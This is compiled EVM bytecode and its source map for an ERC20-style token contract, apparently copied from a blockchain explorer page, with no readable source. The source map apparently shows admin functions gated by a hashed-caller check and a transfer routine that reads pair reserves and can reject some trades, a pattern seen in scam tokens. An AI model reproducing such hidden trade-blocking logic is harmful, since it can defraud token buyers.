000000000000000000000000000008152600401611b8f906125a2565b60405180910390fd5b611be9816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d1b9190612622565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8f906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dff90612542565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e80906125a2565b60405180910390fd5b611eda816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161200c9190612622565b60405180910390a3505050565b600061205b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611975565b905092915050565b60008135905061207281612a6a565b92915050565b60008151905061208781612a81565b92915050565b60008135905061209c81612a98565b92915050565b6000815190506120b181612aaf565b92915050565b6000813590506120c681612ac6565b92915050565b6000815190506120db81612ac6565b92915050565b6000602082840312156120f7576120f6612844565b5b600061210584828501612063565b91505092915050565b60006020828403121561212457612123612844565b5b600061213284828501612078565b91505092915050565b6000806040838503121561215257612151612844565b5b600061216085828601612063565b925050602061217185828601612063565b9150509250929050565b60008060006060848603121561219457612193612844565b5b60006121a286828701612063565b93505060206121b386828701612063565b92505060406121c4868287016120b7565b9150509250925092565b600080604083850312156121e5576121e4612844565b5b60006121f385828601612063565b92505060206122048582860161208d565b9150509250929050565b6000806040838503121561222557612224612844565b5b600061223385828601612063565b9250506020612244858286016120b7565b9150509250929050565b60006020828403121561226457612263612844565b5b6000612272848285016120a2565b91505092915050565b60006020828403121561229157612290612844565b5b600061229f848285016120b7565b91505092915050565b6000602082840312156122be576122bd612844565b5b60006122cc848285016120cc565b91505092915050565b600080604083850312156122ec576122eb612844565b5b60006122fa858286016120cc565b925050602061230b858286016120cc565b9150509250929050565b61231e816126f9565b82525050565b612335612330826126f9565b6127c2565b82525050565b6123448161271d565b82525050565b60006123558261263d565b61235f8185612653565b935061236f81856020860161275d565b80840191505092915050565b600061238682612648565b612390818561265e565b93506123a081856020860161275d565b6123a981612849565b840191505092915050565b60006123c160238361265e565b91506123cc82612867565b604082019050919050565b60006123e460228361265e565b91506123ef826128b6565b604082019050919050565b6000612407601b8361265e565b915061241282612905565b602082019050919050565b600061242a60268361265e565b91506124358261292e565b604082019050919050565b600061244d60298361265e565b91506124588261297d565b604082019050919050565b600061247060258361265e565b915061247b826129cc565b604082019050919050565b600061249360248361265e565b915061249e82612a1b565b604082019050919050565b6124b281612753565b82525050565b60006124c48284612324565b60148201915081905092915050565b60006124df828461234a565b915081905092915050565b60006020820190506124ff6000830184612315565b92915050565b600060208201905061251a600083018461233b565b92915050565b6000602082019050818103600083015261253a818461237b565b905092915050565b6000602082019050818103600083015261255b816123b4565b9050919050565b6000602082019050818103600083015261257b816123d7565b9050919050565b6000602082019050818103600083015261259b816123fa565b9050919050565b600060208201905081810360008301526125bb8161241d565b9050919050565b600060208201905081810360008301526125db81612440565b9050919050565b600060208201905081810360008301526125fb81612463565b9050919050565b6000602082019050818103600083015261261b81612486565b9050919050565b600060208201905061263760008301846124a9565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061267a82612753565b915061268583612753565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ba576126b96127e6565b5b828201905092915050565b60006126d082612753565b91506126db83612753565b9250828210156126ee576126ed6127e6565b5b828203905092915050565b600061270482612733565b9050919050565b600061271682612733565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101561277b578082015181840152602081019050612760565b8381111561278a576000848401525b50505050565b600060028204905060018216806127a857607f821691505b602082108114156127bc576127bb612815565b5b50919050565b60006127cd826127d4565b9050919050565b60006127df8261285a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612a73816126f9565b8114612a7e57600080fd5b50565b612a8a8161270b565b8114612a9557600080fd5b50565b612aa18161271d565b8114612aac57600080fd5b50565b612ab881612729565b8114612ac357600080fd5b50565b612acf81612753565b8114612ada57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122013a5b0555928131aa73ee347d5ebf552fae7dae01e119ecedee7feaf7d81387a64736f6c63430008060033
Deployed Bytecode Sourcemap
13385:5913:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8674:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9614:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8961:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11235:498;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13928:46;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8868:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11749:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14571:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13873:46;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14032:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14513:47;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14387:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9064:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18603:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13981:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8140:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8765:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14232:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14457:47;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12053:396;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9189:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14844:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18813:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14103:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19057:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9404:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13821:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8674:83;8711:13;8744:5;8737:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8674:83;:::o;9614:191::-;9716:4;9738:37;9747:10;9759:7;9768:6;9738:8;:37::i;:::-;9793:4;9786:11;;9614:191;;;;:::o;8961:95::-;9014:7;9041;;9034:14;;8961:95;:::o;11235:498::-;11385:4;11402:54;11412:12;11426:13;11441:14;11402:9;:54::i;:::-;11467:236;11490:12;11517:10;11542:150;11602:14;11542:150;;;;;;;;;;;;;;;;;:11;:25;11554:12;11542:25;;;;;;;;;;;;;;;:37;11568:10;11542:37;;;;;;;;;;;;;;;;:41;;:150;;;;;:::i;:::-;11467:8;:236::i;:::-;11721:4;11714:11;;11235:498;;;;;:::o;13928:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;8868:85::-;8909:7;8936:9;;;;;;;;;;;8929:16;;;;8868:85;:::o;11749:296::-;11864:4;11886:129;11909:10;11934:7;11956:48;11993:10;11956:11;:23;11968:10;11956:23;;;;;;;;;;;;;;;:32;11980:7;11956:32;;;;;;;;;;;;;;;;:36;;:48;;;;:::i;:::-;11886:8;:129::i;:::-;12033:4;12026:11;;11749:296;;;;:::o;14571:25::-;;;;;;;;;;;;;:::o;13873:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;14032:28::-;;;;;;;;;;;;;:::o;14513:47::-;;;;;;;;;;;;;;;;;:::o;14387:29::-;;;;;;;;;;;;;:::o;9064:117::-;9130:7;9157;:16;9165:7;9157:16;;;;;;;;;;;;;;;;9150:23;;9064:117;;;:::o;18603:204::-;18703:11;;18663:36;18687:10;18670:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;18663:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;18659:142;;18730:7;;18659:142;18780:10;18767;;:23;;;;;;;;;;;;;;;;;;18603:204;;:::o;13981:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;8140:84::-;;;;;;;;;;;;;:::o;8765:87::-;8804:13;8837:7;8830:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8765:87;:::o;14232:29::-;;;;;;;;;;;;;:::o;14457:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;12053:396::-;12173:4;12195:224;12218:10;12243:7;12265:143;12320:15;12265:143;;;;;;;;;;;;;;;;;:11;:23;12277:10;12265:23;;;;;;;;;;;;;;;:32;12289:7;12265:32;;;;;;;;;;;;;;;;:36;;:143;;;;;:::i;:::-;12195:8;:224::i;:::-;12437:4;12430:11;;12053:396;;;;:::o;9189:205::-;9298:4;9320:44;9330:10;9342;9354:9;9320;:44::i;:::-;9382:4;9375:11;;9189:205;;;;:::o;14844:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;18813:238::-;18912:11;;18872:36;18896:10;18879:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;18872:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;18868:177;;18939:7;;18868:177;18976:58;18998:13;;;;;;;;;;;19013:10;;;;;;;;;;;19025:8;18976:21;:58::i;:::-;18813:238;;:::o;14103:22::-;;;;;;;;;;;;;:::o;19057:238::-;19175:11;;19135:36;19159:10;19142:28;;;;;;;;:::i;:::-;;;;;;;;;;;;;19135:36;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;19131:158;;19202:7;;19131:158;19269:9;19239:14;:27;19254:11;19239:27;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;19057:238;;;:::o;9404:200::-;9529:7;9561:11;:22;9573:9;9561:22;;;;;;;;;;;;;;;:35;9584:11;9561:35;;;;;;;;;;;;;;;;9554:42;;9404:200;;;;:::o;13821:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;12849:381::-;13003:1;12986:19;;:5;:19;;;;12978:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13084:1;13065:21;;:7;:21;;;;13057:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13168:6;13138:11;:18;13150:5;13138:18;;;;;;;;;;;;;;;:27;13157:7;13138:27;;;;;;;;;;;;;;;:36;;;;13206:7;13190:32;;13199:5;13190:32;;;13215:6;13190:32;;;;;;:::i;:::-;;;;;;;;12849:381;;;:::o;16293:2304::-;16436:1;16420:18;;:4;:18;;;;16412:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16512:1;16498:16;;:2;:16;;;;16490:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16581:1;16572:6;:10;16564:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16639:22;16664:6;16639:31;;16675:13;:19;16689:4;16675:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;16698:13;:17;16712:2;16698:17;;;;;;;;;;;;;;;;;;;;;;;;;16675:40;16671:132;;;16731:41;16747:4;16753:2;16757:14;16731:15;:41::i;:::-;16786:7;;;16671:132;16804:18;16825:2;16804:23;;16838:21;16862:14;:20;16877:4;16862:20;;;;;;;;;;;;;;;;;;;;;;;;;16838:44;;16893:16;16949:15;16935:11;;16912:14;:20;16927:4;16912:20;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;:52;16893:71;;16984:16;16983:17;16975:26;;;;;;17024:13;;;;;;;;;;;17016:21;;:4;:21;;;17012:1524;;;17049:11;17070;17091:19;17123:20;17147:13;;;;;;;;;;;:18;;17198:10;17175:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17147:72;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17120:99;;;17231:20;17255:13;;;;;;;;;;;:18;;17306:10;17283:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17255:71;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17228:98;;;17337:23;17364:13;;;;;;;;;;;:18;;17415:10;17392:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17364:69;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17334:99;;;17442:17;17461;17502:10;17482:64;;;;;;;;;;;;:::i;:::-;17441:105;;;;17552:14;17580:7;17569:30;;;;;;;;;;;;:::i;:::-;17552:47;;17605:14;17633:7;17622:30;;;;;;;;;;;;:::i;:::-;17605:47;;17661:21;17686:6;:11;;17753:13;;;;;;;;;;;17707:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17686:87;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17658:115;;;17779:16;17809:8;17798:31;;;;;;;;;;;;:::i;:::-;17779:50;;17838:21;17863:6;:11;;17930:13;;;;;;;;;;;17884:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17863:87;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17835:115;;;17956:15;17985:8;17974:31;;;;;;;;;;;;:::i;:::-;17956:49;;18025:10;;;;;;;;;;;18015:20;;:6;:20;;;18011:479;;;18063:8;18051:9;:20;18047:196;;;18113:8;18101:9;:20;;;;:::i;:::-;18087:34;;18158:13;;18144:11;:27;18135:36;;18047:196;;;18224:8;18211:9;:21;18202:30;;18047:196;18011:479;;;18269:10;;;;;;;;;;;18259:20;;:6;:20;;;18255:235;;;18307:7;18295:9;:19;18291:193;;;18356:7;18344:9;:19;;;;:::i;:::-;18330:33;;18400:13;;18386:11;:27;18377:36;;18291:193;;;18466:7;18453:9;:20;18444:29;;18291:193;18255:235;18011:479;18511:6;18510:7;:18;;;;;18522:6;18521:7;18510:18;18502:27;;;;;;17039:1497;;;;;;;;;;;;;;17012:1524;18548:41;18564:4;18570:2;18574:14;18548:15;:41::i;:::-;16402:2195;;;;16293:2304;;;;:::o;5423:226::-;5543:7;5576:1;5571;:6;;5579:12;5563:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;5603:9;5619:1;5615;:5;;;;:::i;:::-;5603:17;;5640:1;5633:8;;;5423:226;;;;;:::o;4520:181::-;4578:7;4598:9;4614:1;4610;:5;;;;:::i;:::-;4598:17;;4639:1;4634;:6;;4626:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4692:1;4685:8;;;4520:181;;;;:::o;9813:703::-;10001:1;9979:24;;:10;:24;;;;9957:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;10124:1;10101:25;;:11;:25;;;;10079:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;10249:6;10226:7;:19;10234:10;10226:19;;;;;;;;;;;;;;;;:29;;10204:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;10354:31;10378:6;10354:7;:19;10362:10;10354:19;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;10332:7;:19;10340:10;10332:19;;;;;;;;;;;;;;;:53;;;;10419:32;10444:6;10419:7;:20;10427:11;10419:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10396:7;:20;10404:11;10396:20;;;;;;;;;;;;;;;:55;;;;10488:11;10467:41;;10476:10;10467:41;;;10501:6;10467:41;;;;;;:::i;:::-;;;;;;;;9813:703;;;:::o;10528:697::-;10710:1;10688:24;;:10;:24;;;;10666:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;10833:1;10810:25;;:11;:25;;;;10788:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;10958:6;10935:7;:19;10943:10;10935:19;;;;;;;;;;;;;;;;:29;;10913:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;11063:31;11087:6;11063:7;:19;11071:10;11063:19;;;;;;;;;;;;;;;;:23;;:31;;;;:::i;:::-;11041:7;:19;11049:10;11041:19;;;;;;;;;;;;;;;:53;;;;11128:32;11153:6;11128:7;:20;11136:11;11128:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11105:7;:20;11113:11;11105:20;;;;;;;;;;;;;;;:55;;;;11197:11;11176:41;;11185:10;11176:41;;;11210:6;11176:41;;;;;;:::i;:::-;;;;;;;;10528:697;;;:::o;4984:136::-;5042:7;5069:43;5073:1;5076;5069:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;5062:50;;4984:136;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:159::-;217:5;248:6;242:13;233:22;;264:41;299:5;264:41;:::i;:::-;223:88;;;;:::o;317:133::-;360:5;398:6;385:20;376:29;;414:30;438:5;414:30;:::i;:::-;366:84;;;;:::o;456:143::-;513:5;544:6;538:13;529:22;;560:33;587:5;560:33;:::i;:::-;519:80;;;;:::o;605:139::-;651:5;689:6;676:20;667:29;;705:33;732:5;705:33;:::i;:::-;657:87;;;;:::o;750:143::-;807:5;838:6;832:13;823:22;;854:33;881:5;854:33;:::i;:::-;813:80;;;;:::o;899:329::-;958:6;1007:2;995:9;986:7;982:23;978:32;975:2;;;1013:79;;:::i;:::-;975:2;1133:1;1158:53;1203:7;1194:6;1183:9;1179:22;1158:53;:::i;:::-;1148:63;;1104:117;965:263;;;;:::o;1234:367::-;1312:6;1361:2;1349:9;1340:7;1336:23;1332:32;1329:2;;;1367:79;;:::i;:::-;1329:2;1487:1;1512:72;1576:7;1567:6;1556:9;1552:22;1512:72;:::i;:::-;1502:82;;1458:136;1319:282;;;;:::o;1607:474::-;1675:6;1683;1732:2;1720:9;1711:7;1707:23;1703:32;1700:2;;;1738:79;;:::i;:::-;1700:2;1858:1;1883:53;1928:7;1919:6;1908:9;1904:22;1883:53;:::i;:::-;1873:63;;1829:117;1985:2;2011:53;2056:7;2047:6;2036:9;2032:22;2011:53;:::i;:::-;2001:63;;1956:118;1690:391;;;;;:::o;2087:619::-;2164:6;2172;2180;2229:2;2217:9;2208:7;2204:23;2200:32;2197:2;;;2235:79;;:::i;:::-;2197:2;2355:1;2380:53;2425:7;2416:6;2405:9;2401:22;2380:53;:::i;:::-;2370:63;;2326:117;2482:2;2508:53;2553:7;2544:6;2533:9;2529:22;2508:53;:::i;:::-;2498:63;;2453:118;2610:2;2636:53;2681:7;2672:6;2661:9;2657:22;2636:53;:::i;:::-;2626:63;;2581:118;2187:519;;;;;:::o;2712:468::-;2777:6;2785;2834:2;2822:9;2813:7;2809:23;2805:32;2802:2;;;2840:79;;:::i;:::-;2802:2;2960:1;2985:53;3030:7;3021:6;3010:9;3006:22;2985:53;:::i;:::-;2975:63;;2931:117;3087:2;3113:50;3155:7;3146:6;3135:9;3131:22;3113:50;:::i;:::-;3103:60;;3058:115;2792:388;;;;;:::o;3186:474::-;3254:6;3262;3311:2;3299:9;3290:7;3286:23;3282:32;3279:2;;;3317:79;;:::i;:::-;3279:2;3437:1;3462:53;3507:7;3498:6;3487:9;3483:22;3462:53;:::i;:::-;3452:63;;3408:117;3564:2;3590:53;3635:7;3626:6;3615:9;3611:22;3590:53;:::i;:::-;3580:63;;3535:118;3269:391;;;;;:::o;3666:351::-;3736:6;3785:2;3773:9;3764:7;3760:23;3756:32;3753:2;;;3791:79;;:::i;:::-;3753:2;3911:1;3936:64;3992:7;3983:6;3972:9;3968:22;3936:64;:::i;:::-;3926:74;;3882:128;3743:274;;;;:::o;4023:329::-;4082:6;4131:2;4119:9;4110:7;4106:23;4102:32;4099:2;;;4137:79;;:::i;:::-;4099:2;4257:1;4282:53;4327:7;4318:6;4307:9;4303:22;4282:53;:::i;:::-;4272:63;;4228:117;4089:263;;;;:::o;4358:351::-;4428:6;4477:2;4465:9;4456:7;4452:23;4448:32;4445:2;;;4483:79;;:::i;:::-;4445:2;4603:1;4628:64;4684:7;4675:6;4664:9;4660:22;4628:64;:::i;:::-;4618:74;;4574:128;4435:274;;;;:::o;4715:507::-;4794:6;4802;4851:2;4839:9;4830:7;4826:23;4822:32;4819:2;;;4857:79;;:::i;:::-;4819:2;4977:1;5002:64;5058:7;5049:6;5038:9;5034:22;5002:64;:::i;:::-;4992:74;;4948:128;5115:2;5141:64;5197:7;5188:6;5177:9;5173:22;5141:64;:::i;:::-;5131:74;;5086:129;4809:413;;;;;:::o;5228:118::-;5315:24;5333:5;5315:24;:::i;:::-;5310:3;5303:37;5293:53;;:::o;5352:157::-;5457:45;5477:24;5495:5;5477:24;:::i;:::-;5457:45;:::i;:::-;5452:3;5445:58;5435:74;;:::o;5515:109::-;5596:21;5611:5;5596:21;:::i;:::-;5591:3;5584:34;5574:50;;:::o;5630:373::-;5734:3;5762:38;5794:5;5762:38;:::i;:::-;5816:88;5897:6;5892:3;5816:88;:::i;:::-;5809:95;;5913:52;5958:6;5953:3;5946:4;5939:5;5935:16;5913:52;:::i;:::-;5990:6;5985:3;5981:16;5974:23;;5738:265;;;;;:::o;6009:364::-;6097:3;6125:39;6158:5;6125:39;:::i;:::-;6180:71;6244:6;6239:3;6180:71;:::i;:::-;6173:78;;6260:52;6305:6;6300:3;6293:4;6286:5;6282:16;6260:52;:::i;:::-;6337:29;6359:6;6337:29;:::i;:::-;6332:3;6328:39;6321:46;;6101:272;;;;;:::o;6379:366::-;6521:3;6542:67;6606:2;6601:3;6542:67;:::i;:::-;6535:74;;6618:93;6707:3;6618:93;:::i;:::-;6736:2;6731:3;6727:12;6720:19;;6525:220;;;:::o;6751:366::-;6893:3;6914:67;6978:2;6973:3;6914:67;:::i;:::-;6907:74;;6990:93;7079:3;6990:93;:::i;:::-;7108:2;7103:3;7099:12;7092:19;;6897:220;;;:::o;7123:366::-;7265:3;7286:67;7350:2;7345:3;7286:67;:::i;:::-;7279:74;;7362:93;7451:3;7362:93;:::i;:::-;7480:2;7475:3;7471:12;7464:19;;7269:220;;;:::o;7495:366::-;7637:3;7658:67;7722:2;7717:3;7658:67;:::i;:::-;7651:74;;7734:93;7823:3;7734:93;:::i;:::-;7852:2;7847:3;7843:12;7836:19;;7641:220;;;:::o;7867:366::-;8009:3;8030:67;8094:2;8089:3;8030:67;:::i;:::-;8023:74;;8106:93;8195:3;8106:93;:::i;:::-;8224:2;8219:3;8215:12;8208:19;;8013:220;;;:::o;8239:366::-;8381:3;8402:67;8466:2;8461:3;8402:67;:::i;:::-;8395:74;;8478:93;8567:3;8478:93;:::i;:::-;8596:2;8591:3;8587:12;8580:19;;8385:220;;;:::o;8611:366::-;8753:3;8774:67;8838:2;8833:3;8774:67;:::i;:::-;8767:74;;8850:93;8939:3;8850:93;:::i;:::-;8968:2;8963:3;8959:12;8952:19;;8757:220;;;:::o;8983:118::-;9070:24;9088:5;9070:24;:::i;:::-;9065:3;9058:37;9048:53;;:::o;9107:256::-;9219:3;9234:75;9305:3;9296:6;9234:75;:::i;:::-;9334:2;9329:3;9325:12;9318:19;;9354:3;9347:10;;9223:140;;;;:::o;9369:271::-;9499:3;9521:93;9610:3;9601:6;9521:93;:::i;:::-;9514:100;;9631:3;9624:10;;9503:137;;;;:::o;9646:222::-;9739:4;9777:2;9766:9;9762:18;9754:26;;9790:71;9858:1;9847:9;9843:17;9834:6;9790:71;:::i;:::-;9744:124;;;;:::o;9874:210::-;9961:4;9999:2;9988:9;9984:18;9976:26;;10012:65;10074:1;10063:9;10059:17;10050:6;10012:65;:::i;:::-;9966:118;;;;:::o;10090:313::-;10203:4;10241:2;10230:9;10226:18;10218:26;;10290:9;10284:4;10280:20;10276:1;10265:9;10261:17;10254:47;10318:78;10391:4;10382:6;10318:78;:::i;:::-;10310:86;;10208:195;;;;:::o;10409:419::-;10575:4;10613:2;10602:9;10598:18;10590:26;;10662:9;10656:4;10652:20;10648:1;10637:9;10633:17;10626:47;10690:131;10816:4;10690:131;:::i;:::-;10682:139;;10580:248;;;:::o;10834:419::-;11000:4;11038:2;11027:9;11023:18;11015:26;;11087:9;11081:4;11077:20;11073:1;11062:9;11058:17;11051:47;11115:131;11241:4;11115:131;:::i;:::-;11107:139;;11005:248;;;:::o;11259:419::-;11425:4;11463:2;11452:9;11448:18;11440:26;;11512:9;11506:4;11502:20;11498:1;11487:9;11483:17;11476:47;11540:131;11666:4;11540:131;:::i;:::-;11532:139;;11430:248;;;:::o;11684:419::-;11850:4;11888:2;11877:9;11873:18;11865:26;;11937:9;11931:4;11927:20;11923:1;11912:9;11908:17;11901:47;11965:131;12091:4;11965:131;:::i;:::-;11957:139;;11855:248;;;:::o;12109:419::-;12275:4;12313:2;12302:9;12298:18;12290:26;;12362:9;12356:4;12352:20;12348:1;12337:9;12333:17;12326:47;12390:131;12516:4;12390:131;:::i;:::-;12382:139;;12280:248;;;:::o;12534:419::-;12700:4;12738:2;12727:9;12723:18;12715:26;;12787:9;12781:4;12777:20;12773:1;12762:9;12758:17;12751:47;12815:131;12941:4;12815:131;:::i;:::-;12807:139;;12705:248;;;:::o;12959:419::-;13125:4;13163:2;13152:9;13148:18;13140:26;;13212:9;13206:4;13202:20;13198:1;13187:9;13183:17;13176:47;13240:131;13366:4;13240:131;:::i;:::-;13232:139;;13130:248;;;:::o;13384:222::-;13477:4;13515:2;13504:9;13500:18;13492:26;;13528:71;13596:1;13585:9;13581:17;13572:6;13528:71;:::i;:::-;13482:124;;;;:::o;13693:98::-;13744:6;13778:5;13772:12;13762:22;;13751:4